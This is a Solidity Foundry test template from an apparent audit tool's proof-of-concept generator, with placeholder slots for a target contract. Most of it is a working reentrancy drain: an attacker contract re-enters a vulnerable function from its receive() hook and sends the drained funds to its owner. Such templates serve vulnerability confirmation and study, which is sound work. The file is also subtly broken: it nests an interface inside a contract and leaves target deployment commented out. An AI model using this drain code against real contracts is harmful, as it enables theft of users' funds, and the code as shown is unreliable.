// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "forge-std/Test.sol";
import "forge-std/console.sol";

// {{CUSTOM_IMPORTS}}

/**
 * @title {{CONTRACT_NAME}} Reentrancy Exploit PoC
 * @notice Proof of Concept for reentrancy vulnerability
 * @dev Generated by MIESC PoC Generator
 *
 * Vulnerability: {{DESCRIPTION}}
 * Severity: {{SEVERITY}}
 * Target Function: {{TARGET_FUNCTION}}
 * Generated: {{TIMESTAMP}}
 *
 * Attack Vector:
 * 1. Attacker calls vulnerable function
 * 2. Before state update, external call is made to attacker
 * 3. Attacker re-enters the vulnerable function
 * 4. State is read before previous call completed
 * 5. Repeat until funds drained
 */
contract {{CONTRACT_NAME}}ReentrancyTest is Test {
    // Target contract interface
    // Replace with actual contract interface
    interface IVulnerable {
        function deposit() external payable;
        function {{TARGET_FUNCTION}}() external;
        function balanceOf(address) external view returns (uint256);
    }

    // Contracts
    IVulnerable public target;
    AttackerContract public attackerContract;

    // Addresses
    address public attacker;
    address public victim;

    // Initial balances
    uint256 constant VICTIM_DEPOSIT = 10 ether;
    uint256 constant ATTACKER_DEPOSIT = 1 ether;

    function setUp() public {
        // Setup accounts
        attacker = makeAddr("attacker");
        victim = makeAddr("victim");

        vm.deal(attacker, {{ATTACKER_BALANCE}});
        vm.deal(victim, {{VICTIM_BALANCE}});

        // {{FORK_CONFIG}}

        // Deploy target contract
        // target = IVulnerable(deployCode("{{CONTRACT_NAME}}.sol"));

        // {{CUSTOM_SETUP}}

        // Deploy attacker contract
        vm.prank(attacker);
        attackerContract = new AttackerContract(address(target));

        // Victim deposits funds
        vm.prank(victim);
        target.deposit{value: VICTIM_DEPOSIT}();

        console.log("=== Setup Complete ===");
        console.log("Target balance:", address(target).balance);
        console.log("Victim deposited:", VICTIM_DEPOSIT);
    }

    function test_exploit_reentrancy() public {
        console.log("\n=== Starting Reentrancy Attack ===");

        uint256 targetBalanceBefore = address(target).balance;
        uint256 attackerBalanceBefore = attacker.balance;

        console.log("Target balance before:", targetBalanceBefore);
        console.log("Attacker balance before:", attackerBalanceBefore);

        // Fund attacker contract
        vm.prank(attacker);
        (bool sent,) = address(attackerContract).call{value: ATTACKER_DEPOSIT}("");
        require(sent, "Failed to fund attacker");

        // Execute attack
        vm.prank(attacker);
        attackerContract.attack();

        // Withdraw stolen funds
        vm.prank(attacker);
        attackerContract.withdrawStolenFunds();

        uint256 targetBalanceAfter = address(target).balance;
        uint256 attackerBalanceAfter = attacker.balance;

        console.log("\n=== Attack Complete ===");
        console.log("Target balance after:", targetBalanceAfter);
        console.log("Attacker balance after:", attackerBalanceAfter);
        console.log("Attacker profit:", attackerBalanceAfter - attackerBalanceBefore + ATTACKER_DEPOSIT);

        // Assertions
        assertLt(targetBalanceAfter, targetBalanceBefore, "Target should have lost funds");
        assertGt(attackerBalanceAfter, attackerBalanceBefore, "Attacker should have gained funds");
    }

    function test_reentrancy_count() public {
        // Fund attacker
        vm.prank(attacker);
        (bool sent,) = address(attackerContract).call{value: ATTACKER_DEPOSIT}("");
        require(sent, "Failed to fund attacker");

        // Execute attack
        vm.prank(attacker);
        attackerContract.attack();

        uint256 count = attackerContract.reentrancyCount();
        console.log("Reentrancy count:", count);

        assertGt(count, 1, "Should have re-entered at least once");
    }
}

/**
 * @title AttackerContract
 * @notice Malicious contract that exploits reentrancy
 */
contract AttackerContract {
    address public target;
    address public owner;
    uint256 public reentrancyCount;

    constructor(address _target) {
        target = _target;
        owner = msg.sender;
    }

    receive() external payable {
        // Reenter if target still has funds
        if (target.balance >= 1 ether && reentrancyCount < 10) {
            reentrancyCount++;
            console.log("Re-entering, count:", reentrancyCount);

            // Call vulnerable function again
            (bool success,) = target.call(
                abi.encodeWithSignature("{{TARGET_FUNCTION}}()")
            );
            require(success, "Reentrancy failed");
        }
    }

    function attack() external {
        require(msg.sender == owner, "Not owner");

        // Initial deposit
        (bool depositSuccess,) = target.call{value: 1 ether}(
            abi.encodeWithSignature("deposit()")
        );
        require(depositSuccess, "Deposit failed");

        // Trigger vulnerability
        (bool withdrawSuccess,) = target.call(
            abi.encodeWithSignature("{{TARGET_FUNCTION}}()")
        );
        require(withdrawSuccess, "Initial call failed");
    }

    function withdrawStolenFunds() external {
        require(msg.sender == owner, "Not owner");
        payable(owner).transfer(address(this).balance);
    }
}
